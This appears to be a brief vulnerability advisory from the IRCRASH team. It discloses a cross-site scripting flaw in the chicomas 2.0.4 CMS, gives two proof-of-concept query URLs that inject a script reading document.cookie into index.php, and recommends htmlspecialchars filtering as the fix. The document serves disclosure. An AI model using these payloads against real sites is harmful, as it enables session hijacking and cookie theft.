Author : Hadi Kiamarsi
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Discovered by : Hadi Kiamarsi
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Exploited By : Hadi Kiamarsi
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E-Mail : hadikiamarsi[at]hotmail.com
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WebSite : http://ircrash.com
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Our Team : ircrash
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IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr
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CMS: chicomas.2.0.4 
Download CMS : http://garr.dl.sourceforge.net/sourceforge/chicomas/chicomas.2.0.4.zip 

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Exploit :

Method = POST

query : http://www.example.com/[chicomas]/index.php?q=>"><script>alert(document.cookie)</script>
query : http://www.example.com/[chicomas]/index.php?q="><script>alert(document.cookie)</script>

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Solution :
 
you must filter special character in input via htmlspecialchar() function

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